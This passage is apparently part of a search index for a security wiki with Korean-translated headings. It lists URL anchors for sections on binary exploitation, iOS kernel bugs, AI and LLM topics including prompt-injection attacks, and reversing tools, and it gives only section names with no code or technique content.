mmon-binary-protections-and-bypasses/stack-canaries/print-stack-canary.html#arbitrary-read","binary-exploitation/arbitrary-write-2-exec/index.html#arbitrary-write-2-exec","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#www2exec---sips-icc-profile-out-of-bounds-write-cve-2024-44236","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#개요","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#취약한-코드","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#exploitation-steps","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#빠른-poc-생성기-python-3","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#yara-탐지-규칙","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#impact","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#detection--mitigation","binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.html#references","binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.html#www2exec---atexit-tls-storage--other-mangled-pointers","binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.html#__atexit-structures","binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.html#link_map","binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.html#tls-storage-dtor_list-덮어쓰기-in--__run_exit_handlers","binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.html#__run_exit_handlers의-다른-망가진-포인터","binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.html#www2exec---dtors--fini_array","binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.html#dtors","binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.html#fini_array","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#www2exec---gotplt","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#기본-정보","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#got-전역-오프셋-테이블","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#plt-프로시저-링크-테이블","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#실행-가져오기","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#got-확인","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#got2exec","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#libc-got-항목","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#free2system","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#strlen2system","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#one-gadget","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#힙에서-got-남용하기","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#보호","binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.html#참고-문헌","binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.html#www2exec---__malloc_hook--__free_hook","binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.html#malloc-hook","binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.html#free-hook","binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.html#tcache-오염-및-safe-linking-glibc-232--233","binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.html#glibc--234에서-변경된-사항은-무엇인가요","binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.html#참고-문헌","binary-exploitation/common-exploiting-problems.html#일반적인-익스플로잇-문제","binary-exploitation/common-exploiting-problems.html#원격-익스플로잇에서의-fd","binary-exploitation/common-exploiting-problems.html#socat--pty","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#windows-exploiting-basic-guide---oscp-lvl","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#slmail-서비스-설치-시작","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#slmail-서비스-재시작","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#매우-기본적인-파이썬-익스플로잇-템플릿","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#immunity-debugger-글꼴-변경","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#immunity-debugger에-프로세스-연결","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#익스플로잇을-전송하고-eip에-영향을-미치는지-확인","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#eip를-수정하기-위한-패턴-생성","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#스택-내에서-shellcode-공간-확인","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#나쁜-문자-확인","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#반환-주소로-jmp-esp-찾기","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#셸코드-생성","binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.html#셸코드-개선하기","binary-exploitation/ios-exploiting/index.html#ios-exploiting","binary-exploitation/ios-exploiting/index.html#ios-exploit-mitigations","binary-exploitation/ios-exploiting/index.html#old-kernel-heap-pre-ios-15--pre-a12-era","binary-exploitation/ios-exploiting/index.html#the-freelist","binary-exploitation/ios-exploiting/index.html#freelist-악용","binary-exploitation/ios-exploiting/index.html#heap-grooming--feng-shui","binary-exploitation/ios-exploiting/index.html#modern-kernel-heap-ios-15a12-socs","binary-exploitation/ios-exploiting/index.html#1-from-classic-kalloc-to-kalloc_type","binary-exploitation/ios-exploiting/index.html#2-slabs-and-per-cpu-caches","binary-exploitation/ios-exploiting/index.html#3-randomization-inside-zones","binary-exploitation/ios-exploiting/index.html#4-guarded-allocations","binary-exploitation/ios-exploiting/index.html#5-page-protection-layer-ppl-and-sptm","binary-exploitation/ios-exploiting/index.html#6-large-allocations","binary-exploitation/ios-exploiting/index.html#7-allocation-patterns-attackers-target","binary-exploitation/ios-exploiting/index.html#example-allocation-flow-in-modern-heap","binary-exploitation/ios-exploiting/index.html#comparison-table","binary-exploitation/ios-exploiting/index.html#old-physical-use-after-free-via-iosurface","binary-exploitation/ios-exploiting/index.html#ghidra-install-bindiff","binary-exploitation/ios-exploiting/index.html#using-bindiff-with-kernel-versions","binary-exploitation/ios-exploiting/index.html#finding-the-right-xnu-version","binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.html#cve-2021-30807-iomobileframebuffer-oob","binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.html#취약점","binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.html#basic-poc","binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.html#leak-kernel-address-poc","binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.html#참고자료","binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.html#cve-2021-30807-iomobileframebuffer-oob","binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.html#취약점","binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.html#dos-poc","binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.html#임의-읽기-poc-설명","binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.html#참고자료","binary-exploitation/ios-exploiting/ios-corellium.html#ios에서-corellium에-연결하는-방법","binary-exploitation/ios-exploiting/ios-corellium.html#사전-요구사항","binary-exploitation/ios-exploiting/ios-corellium.html#localhost에서-iphone-vm에-연결하기","binary-exploitation/ios-exploiting/ios-corellium.html#a--quick-connect-vpn-없음","binary-exploitation/ios-exploiting/ios-corellium.html#b--vpn--direct-ssh","binary-exploitation/ios-exploiting/ios-corellium.html#네이티브-바이너리-업로드-및-실행","binary-exploitation/ios-exploiting/ios-corellium.html#21--업로드","binary-exploitation/ios-exploiting/ios-corellium.html#ios-앱ipa-업로드-및-설치","binary-exploitation/ios-exploiting/ios-corellium.html#방법-a---web-ui-가장-빠름","binary-exploitation/ios-exploiting/ios-corellium.html#방법-b---스크립트로-corellium-agent-사용","binary-exploitation/ios-exploiting/ios-corellium.html#path-c---non-jailbroken-proper-signing--sideloadly","binary-exploitation/ios-exploiting/ios-corellium.html#extras","binary-exploitation/ios-exploiting/ios-corellium.html#일반적인-함정","binary-exploitation/ios-exploiting/ios-example-heap-exploit.html#ios에서-corellium에-연결하는-방법","binary-exploitation/ios-exploiting/ios-example-heap-exploit.html#vuln-code","binary-exploitation/ios-exploiting/ios-example-heap-exploit.html#익스플로잇","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#ios-physical-use-after-free-via-iosurface","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#physical-use-after-free","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#memory-management-in-xnu","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#physical-use-after-free-1","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#iosurface-heap-spray","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#step-by-step-heap-spray-process","binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.html#iosurface로-kernel-readwrite-달성","AI/index.html#ai-in-cybersecurity","AI/index.html#main-machine-learning-algorithms","AI/index.html#llms-architecture","AI/index.html#ai-security","AI/index.html#ai-risk-frameworks","AI/index.html#ai-prompts-security","AI/index.html#ai-models-rce","AI/index.html#ai-model-context-protocol","AI/index.html#ai-assisted-fuzzing--automated-vulnerability-discovery","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#ai-assisted-fuzzing--automated-vulnerability-discovery","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#개요","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#1-llm-생성-시드-입력","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#팁","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#2-문법-진화-퍼징","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#3-에이전트-기반-pov-익스플로잇-생성","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#4-미세-조정된-코드-모델을-통한-지향-퍼징","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#5-ai-guided-patching-strategies","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#51-super-patches","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#52-추측-패치-비율","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#모든-것을-통합하기","AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.html#references","AI/AI-Deep-Learning.html#deep-learning","AI/AI-Deep-Learning.html#deep-learning-1","AI/AI-Deep-Learning.html#neural-networks","AI/AI-Deep-Learning.html#activation-functions","AI/AI-Deep-Learning.html#backpropagation","AI/AI-Deep-Learning.html#convolutional-neural-networks-cnns","AI/AI-Deep-Learning.html#example-defining-a-cnn","AI/AI-Deep-Learning.html#cnn-코드-예제","AI/AI-Deep-Learning.html#cnn-코드-훈련-예제","AI/AI-Deep-Learning.html#순환-신경망-rnns","AI/AI-Deep-Learning.html#장기-단기-기억-lstm-및-게이티드-순환-유닛-gru","AI/AI-Deep-Learning.html#llms-대형-언어-모델","AI/AI-Deep-Learning.html#변환기-아키텍처","AI/AI-Deep-Learning.html#확산-모델","AI/AI-MCP-Servers.html#mcp-servers","AI/AI-MCP-Servers.html#what-is-mpc---model-context-protocol","AI/AI-MCP-Servers.html#basic-mcp-server","AI/AI-MCP-Servers.html#mcp-취약점","AI/AI-MCP-Servers.html#직접-mcp-데이터에-의한-prompt-injection--라인-점프-공격--도구-오염","AI/AI-MCP-Servers.html#간접-데이터에-의한-프롬프트-주입","AI/AI-MCP-Servers.html#mcp-신뢰-우회에-의한-지속적인-코드-실행-cursor-ide--mcpoison","AI/AI-MCP-Servers.html#references","AI/AI-Model-Data-Preparation-and-Evaluation.html#모델-데이터-준비-및-평가","AI/AI-Model-Data-Preparation-and-Evaluation.html#데이터-수집","AI/AI-Model-Data-Preparation-and-Evaluation.html#데이터-정리","AI/AI-Model-Data-Preparation-and-Evaluation.html#데이터-정리-예시","AI/AI-Model-Data-Preparation-and-Evaluation.html#데이터-변환","AI/AI-Model-Data-Preparation-and-Evaluation.html#데이터-분할","AI/AI-Model-Data-Preparation-and-Evaluation.html#모델-평가","AI/AI-Model-Data-Preparation-and-Evaluation.html#정확도","AI/AI-Model-Data-Preparation-and-Evaluation.html#precision","AI/AI-Model-Data-Preparation-and-Evaluation.html#recall-민감도","AI/AI-Model-Data-Preparation-and-Evaluation.html#f1-score","AI/AI-Model-Data-Preparation-and-Evaluation.html#roc-auc-수신자-조작-특성---곡선-아래-면적","AI/AI-Model-Data-Preparation-and-Evaluation.html#특이도","AI/AI-Model-Data-Preparation-and-Evaluation.html#matthews-correlation-coefficient-mcc","AI/AI-Model-Data-Preparation-and-Evaluation.html#평균-절대-오차-mae","AI/AI-Model-Data-Preparation-and-Evaluation.html#혼동-행렬","AI/AI-Models-RCE.html#models-rce","AI/AI-Models-RCE.html#loading-models-to-rce","AI/AI-Models-RCE.html#--invokeai-rce-via-torchload-cve-2024-12029","AI/AI-Models-RCE.html#예시--악성-pytorch-모델-만들기","AI/AI-Models-RCE.html#models-to-path-traversal","AI/AI-Models-RCE.html#deep-dive-keras-keras-deserialization-and-gadget-hunting","AI/AI-Models-RCE.html#references","AI/AI-Prompts.html#ai-프롬프트","AI/AI-Prompts.html#기본-정보","AI/AI-Prompts.html#프롬프트-엔지니어링","AI/AI-Prompts.html#prompt-attacks","AI/AI-Prompts.html#prompt-injection","AI/AI-Prompts.html#prompt-leaking","AI/AI-Prompts.html#jailbreak","AI/AI-Prompts.html#prompt-injection-via-direct-requests","AI/AI-Prompts.html#changing-the-rules--assertion-of-authority","AI/AI-Prompts.html#prompt-injection-via-context-manipulation","AI/AI-Prompts.html#storytelling--context-switching","AI/AI-Prompts.html#이중-페르소나--롤플레이--dan--반대-모드","AI/AI-Prompts.html#prompt-injection-via-텍스트-변조","AI/AI-Prompts.html#translation-trick","AI/AI-Prompts.html#맞춤법-검사--문법-교정의-악용","AI/AI-Prompts.html#summary--repetition-attacks","AI/AI-Prompts.html#encodings-and-obfuscated-formats","AI/AI-Prompts.html#indirect-exfiltration--prompt-leaking","AI/AI-Prompts.html#동의어-또는-오타를-통한-난독화-filter-evasion","AI/AI-Prompts.html#payload-splitting-step-by-step-injection","AI/AI-Prompts.html#third-party-or-indirect-prompt-injection","AI/AI-Prompts.html#ide-code-assistants-context-attachment-indirect-injection-backdoor-generation","AI/AI-Prompts.html#프롬프트를-통한-code-injection","AI/AI-Prompts.html#도구","AI/AI-Prompts.html#prompt-waf-bypass","AI/AI-Prompts.html#using-prompt-injection-techniques","AI/AI-Prompts.html#token-confusion","AI/AI-Prompts.html#autocompleteeditor-prefix-seeding-moderation-bypass-in-ides","AI/AI-Prompts.html#direct-base-model-invocation-outside-guardrails","AI/AI-Prompts.html#prompt-injection-in-github-copilot-hidden-mark-up","AI/AI-Prompts.html#1-hiding-the-payload-with-the--tag","AI/AI-Prompts.html#2-신빙성-있는-채팅-턴-재구성","AI/AI-Prompts.html#3-copilot의-도구-방화벽-활용","AI/AI-Prompts.html#4-코드-리뷰-은폐를-위한-minimal-diff-backdoor","AI/AI-Prompts.html#5-전체-공격-흐름","AI/AI-Prompts.html#탐지-및-완화-아이디어","AI/AI-Prompts.html#github-copilot에서의-prompt-injection--yolo-mode-autoapprove","AI/AI-Prompts.html#엔드투엔드-익스플로잇-체인","AI/AI-Prompts.html#one-liner-poc","AI/AI-Prompts.html#은밀한-팁","AI/AI-Prompts.html#완화책","AI/AI-Prompts.html#참고자료","AI/AI-Risk-Frameworks.html#ai-위험","AI/AI-Risk-Frameworks.html#owasp-top-10-machine-learning-vulnerabilities","AI/AI-Risk-Frameworks.html#google-saif-risks","AI/AI-Risk-Frameworks.html#mitre-ai-atlas-matrix","AI/AI-Risk-Frameworks.html#llmjacking-token-theft--resale-of-cloud-hosted-llm-access","AI/AI-Risk-Frameworks.html#references","AI/AI-Supervised-Learning-Algorithms.html#supervised-learning-algorithms","AI/AI-Supervised-Learning-Algorithms.html#basic-information","AI/AI-Supervised-Learning-Algorithms.html#algorithms","AI/AI-Supervised-Learning-Algorithms.html#linear-regression","AI/AI-Supervised-Learning-Algorithms.html#로지스틱-회귀","AI/AI-Supervised-Learning-Algorithms.html#결정-트리","AI/AI-Supervised-Learning-Algorithms.html#랜덤-포레스트","AI/AI-Supervised-Learning-Algorithms.html#서포트-벡터-머신-svm","AI/AI-Supervised-Learning-Algorithms.html#나이브-베이즈","AI/AI-Supervised-Learning-Algorithms.html#k-최근접-이웃-k-nn","AI/AI-Supervised-Learning-Algorithms.html#gradient-boosting-machines-예-xgboost","AI/AI-Supervised-Learning-Algorithms.html#모델-결합-앙상블-학습-및-스태킹","AI/AI-Supervised-Learning-Algorithms.html#references","AI/AI-Unsupervised-Learning-Algorithms.html#비지도-학습-알고리즘","AI/AI-Unsupervised-Learning-Algorithms.html#비지도-학습","AI/AI-Unsupervised-Learning-Algorithms.html#k-평균-클러스터링","AI/AI-Unsupervised-Learning-Algorithms.html#계층적-클러스터링","AI/AI-Unsupervised-Learning-Algorithms.html#dbscan-밀도-기반-공간-클러스터링-알고리즘","AI/AI-Unsupervised-Learning-Algorithms.html#주성분-분석-pca","AI/AI-Unsupervised-Learning-Algorithms.html#gaussian-mixture-models-gmm","AI/AI-Unsupervised-Learning-Algorithms.html#isolation-forest","AI/AI-Unsupervised-Learning-Algorithms.html#t-sne-t-분포-확률적-이웃-임베딩","AI/AI-Unsupervised-Learning-Algorithms.html#hdbscan-노이즈가-있는-애플리케이션의-계층-밀도-기반-공간-클러스터링","AI/AI-Unsupervised-Learning-Algorithms.html#강건성-및-보안-고려사항--오염-및-적대적-공격-2023-2025","AI/AI-Unsupervised-Learning-Algorithms.html#현대-오픈-소스-도구-2024-2025","AI/AI-Unsupervised-Learning-Algorithms.html#references","AI/AI-Reinforcement-Learning-Algorithms.html#reinforcement-learning-algorithms","AI/AI-Reinforcement-Learning-Algorithms.html#reinforcement-learning","AI/AI-Reinforcement-Learning-Algorithms.html#q-learning","AI/AI-Reinforcement-Learning-Algorithms.html#sarsa-state-action-reward-state-action","AI/AI-Reinforcement-Learning-Algorithms.html#온-정책-대-오프-정책-학습","AI/AI-llm-architecture/index.html#llm-training---data-preparation","AI/AI-llm-architecture/index.html#basic-information","AI/AI-llm-architecture/index.html#1-tokenization","AI/AI-llm-architecture/index.html#2-data-sampling","AI/AI-llm-architecture/index.html#3-token-embeddings","AI/AI-llm-architecture/index.html#4-attention-mechanisms","AI/AI-llm-architecture/index.html#5-llm-architecture","AI/AI-llm-architecture/index.html#6-pre-training--loading-models","AI/AI-llm-architecture/index.html#70-lora-improvements-in-fine-tuning","AI/AI-llm-architecture/index.html#71-fine-tuning-for-classification","AI/AI-llm-architecture/index.html#72-fine-tuning-to-follow-instructions","AI/AI-llm-architecture/0.-basic-llm-concepts.html#0-basic-llm-concepts","AI/AI-llm-architecture/0.-basic-llm-concepts.html#pretraining","AI/AI-llm-architecture/0.-basic-llm-concepts.html#main-llm-components","AI/AI-llm-architecture/0.-basic-llm-concepts.html#tensors-in-pytorch","AI/AI-llm-architecture/0.-basic-llm-concepts.html#mathematical-concept-of-tensors","AI/AI-llm-architecture/0.-basic-llm-concepts.html#tensors-as-data-containers","AI/AI-llm-architecture/0.-basic-llm-concepts.html#pytorch-tensors-vs-numpy-arrays","AI/AI-llm-architecture/0.-basic-llm-concepts.html#creating-tensors-in-pytorch","AI/AI-llm-architecture/0.-basic-llm-concepts.html#텐서-데이터-유형","AI/AI-llm-architecture/0.-basic-llm-concepts.html#common-tensor-operations","AI/AI-llm-architecture/0.-basic-llm-concepts.html#importance-in-deep-learning","AI/AI-llm-architecture/0.-basic-llm-concepts.html#automatic-differentiation","AI/AI-llm-architecture/0.-basic-llm-concepts.html#mathematical-explanation-of-automatic-differentiation","AI/AI-llm-architecture/0.-basic-llm-concepts.html#implementing-automatic-differentiation-in-pytorch","AI/AI-llm-architecture/0.-basic-llm-concepts.html#더-큰-신경망에서의-역전파","AI/AI-llm-architecture/0.-basic-llm-concepts.html#1-다층-네트워크로-확장하기","AI/AI-llm-architecture/0.-basic-llm-concepts.html#2-역전파-알고리즘","AI/AI-llm-architecture/0.-basic-llm-concepts.html#3-수학적-표현","AI/AI-llm-architecture/0.-basic-llm-concepts.html#4-pytorch-구현","AI/AI-llm-architecture/0.-basic-llm-concepts.html#5-understanding-backward-pass","AI/AI-llm-architecture/0.-basic-llm-concepts.html#6-advantages-of-automatic-differentiation","AI/AI-llm-architecture/1.-tokenizing.html#1-tokenizing","AI/AI-llm-architecture/1.-tokenizing.html#tokenizing","AI/AI-llm-architecture/1.-tokenizing.html#how-tokenizing-works","AI/AI-llm-architecture/1.-tokenizing.html#advanced-tokenizing-methods","AI/AI-llm-architecture/1.-tokenizing.html#code-example","AI/AI-llm-architecture/1.-tokenizing.html#references","AI/AI-llm-architecture/2.-data-sampling.html#2-데이터-샘플링","AI/AI-llm-architecture/2.-data-sampling.html#데이터-샘플링","AI/AI-llm-architecture/2.-data-sampling.html#데이터-샘플링의-중요성","AI/AI-llm-architecture/2.-data-sampling.html#데이터-샘플링의-주요-개념","AI/AI-llm-architecture/2.-data-sampling.html#단계별-예제","AI/AI-llm-architecture/2.-data-sampling.html#코드-예시","AI/AI-llm-architecture/2.-data-sampling.html#고급-샘플링-전략-2023-2025","AI/AI-llm-architecture/2.-data-sampling.html#1-온도-기반-혼합-가중치","AI/AI-llm-architecture/3.-token-embeddings.html#3-token-embeddings","AI/AI-llm-architecture/3.-token-embeddings.html#token-embeddings","AI/AI-llm-architecture/3.-token-embeddings.html#what-are-token-embeddings","AI/AI-llm-architecture/3.-token-embeddings.html#initializing-token-embeddings","AI/AI-llm-architecture/3.-token-embeddings.html#훈련-중-토큰-임베딩-작동-방식","AI/AI-llm-architecture/3.-token-embeddings.html#위치-임베딩-토큰-임베딩에-맥락-추가하기","AI/AI-llm-architecture/3.-token-embeddings.html#위치-임베딩이-필요한-이유","AI/AI-llm-architecture/3.-token-embeddings.html#위치-임베딩의-유형","AI/AI-llm-architecture/3.-token-embeddings.html#위치-임베딩의-통합-방법","AI/AI-llm-architecture/3.-token-embeddings.html#코드-예제","AI/AI-llm-architecture/3.-token-embeddings.html#references","AI/AI-llm-architecture/4.-attention-mechanisms.html#4-attention-mechanisms","AI/AI-llm-architecture/4.-attention-mechanisms.html#attention-mechanisms-and-self-attention-in-neural-networks","AI/AI-llm-architecture/4.-attention-mechanisms.html#understanding-attention-mechanisms","AI/AI-llm-architecture/4.-attention-mechanisms.html#introduction-to-self-attention","AI/AI-llm-architecture/4.-attention-mechanisms.html#calculating-attention-weights-a-step-by-step-example","AI/AI-llm-architecture/4.-attention-mechanisms.html#summary-of-the-process","AI/AI-llm-architecture/4.-attention-mechanisms.html#self-attention-with-trainable-weights","AI/AI-llm-architecture/4.-attention-mechanisms.html#code-example","AI/AI-llm-architecture/4.-attention-mechanisms.html#인과적-주의-미래-단어-숨기기","AI/AI-llm-architecture/4.-attention-mechanisms.html#인과적-주의-마스크-적용","AI/AI-llm-architecture/4.-attention-mechanisms.html#드롭아웃으로-추가-주의-가중치-마스킹","AI/AI-llm-architecture/4.-attention-mechanisms.html#코드-예제","AI/AI-llm-architecture/4.-attention-mechanisms.html#single-head-attention을-multi-head-attention으로-확장하기","AI/AI-llm-architecture/4.-attention-mechanisms.html#코드-예제-1","AI/AI-llm-architecture/4.-attention-mechanisms.html#references","AI/AI-llm-architecture/5.-llm-architecture.html#5-llm-architecture","AI/AI-llm-architecture/5.-llm-architecture.html#llm-architecture","AI/AI-llm-architecture/5.-llm-architecture.html#code-representation","AI/AI-llm-architecture/5.-llm-architecture.html#gelu-활성화-함수","AI/AI-llm-architecture/5.-llm-architecture.html#feedforward-신경망","AI/AI-llm-architecture/5.-llm-architecture.html#다중-헤드-주의-메커니즘","AI/AI-llm-architecture/5.-llm-architecture.html#레이어--정규화","AI/AI-llm-architecture/5.-llm-architecture.html#transformer-block","AI/AI-llm-architecture/5.-llm-architecture.html#gptmodel","AI/AI-llm-architecture/5.-llm-architecture.html#훈련할-매개변수-수","AI/AI-llm-architecture/5.-llm-architecture.html#단계별-계산","AI/AI-llm-architecture/5.-llm-architecture.html#generate-text","AI/AI-llm-architecture/5.-llm-architecture.html#references","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#6-pre-training--loading-models","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#text-generation","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#text-evaluation","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#pre-train-example","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#functions-to-transform-text--ids","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#텍스트-생성-함수","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#loss-functions","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#데이터-로딩","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#sanity-checks","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#훈련-및-사전-계산을-위한-장치-선택","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#training-functions","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#start-training","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#print-training-evolution","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#모델-저장","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#gpt2-가중치-로드","AI/AI-llm-architecture/6.-pre-training-and-loading-models.html#참고문헌","AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.html#70-lora-개선-사항","AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.html#lora-개선-사항","AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.html#references","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#71-fine-tuning-for-classification","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#what-is","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#preparing-the-data-set","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#data-set-size","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#entries-length","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#initialize-the-model","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#classification-head","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#조정할-매개변수","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#entries-to-use-for-training","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#완전한-gpt2-미세-조정-분류-코드","AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.html#참고문헌","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#72-지침을-따르기-위한-미세-조정","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#데이터셋","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#배치-및-데이터-로더","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#사전-훈련된-llm-로드-및-미세-조정-및-손실-확인","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#응답-품질","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#지침-따르기-미세-조정-코드","AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.html#참고-문헌","reversing/reversing-tools-basic-methods/index.html#reversing-tools--basic-methods","reversing/reversing-tools-basic-methods/index.html#imgui-기반-리버싱-도구","reversing/reversing-tools-basic-methods/index.html#wasm-디컴파일러--wat-컴파일러","reversing/reversing-tools-basic-methods/index.html#net-디컴파일러","reversing/reversing-tools-basic-methods/index.html#dotpeek","reversing/reversing-tools-basic-methods/index.html#net-reflector","reversing/reversing-tools-basic-methods/index.html#ilspy----dnspy","reversing/reversing-tools-basic-methods/index.html#dnspy-로깅","reversing/reversing-tools-basic-methods/index.html#dnspy-디버깅","reversing/reversing-tools-basic-methods/index.html#java-디컴파일러","reversing/reversing-tools-basic-methods/index.html#dll-디버깅","reversing/reversing-tools-basic-methods/index.html#ida-사용","reversing/reversing-tools-basic-methods/index.html#x64dbgx32dbg-사용","reversing/reversing-tools-basic-methods/index.html#gui-앱--비디오-게임","reversing/reversing-tools-basic-methods/index.html#arm--mips","reversing/reversing-tools-basic-methods/index.html#셸코드","reversing/reversing-tools-basic-methods/index.html#blobrunner로-셸코드-디버깅","reversing/reversing-tools-basic-methods/index.html#jmp2it로-셸코드-디버깅","reversing/reversing-tools-basic-methods/index.html#cutter를-사용한-셸코드-디버깅","reversing/reversing-tools-basic-methods/index.html#셸코드의-난독화-해제-및-실행된-함수-가져오기","reversing/reversing-tools-basic-methods/index.html#cyberchef를-사용한-디스어셈블링","reversing/reversing-tools-basic-methods/index.html#movfuscator","reversing/reversing-tools-basic-methods/index.html#rust","reversing/reversing-tools-basic-methods/index.html#delphi","reversing/reversing-tools-basic-methods/index.html#golang","reversing/reversing-tools-basic-methods/index.html#compiled-python","reversing/reversing-tools-basic-methods/index.html#gba---game-body-advance","reversing/reversing-tools-basic-methods/index.html#game-boy","reversing/reversing-tools-basic-methods/index.html#courses","reversing/reversing-tools-basic-methods/angr/index.html#설치","reversing/reversing-tools-basic-methods/angr/index.html#기본-작업","reversing/reversing-tools-basic-methods/angr/index.html#로드된-및-주요-객체-정보","reversing/reversing-tools-basic-methods/angr/index.html#로드된-데이터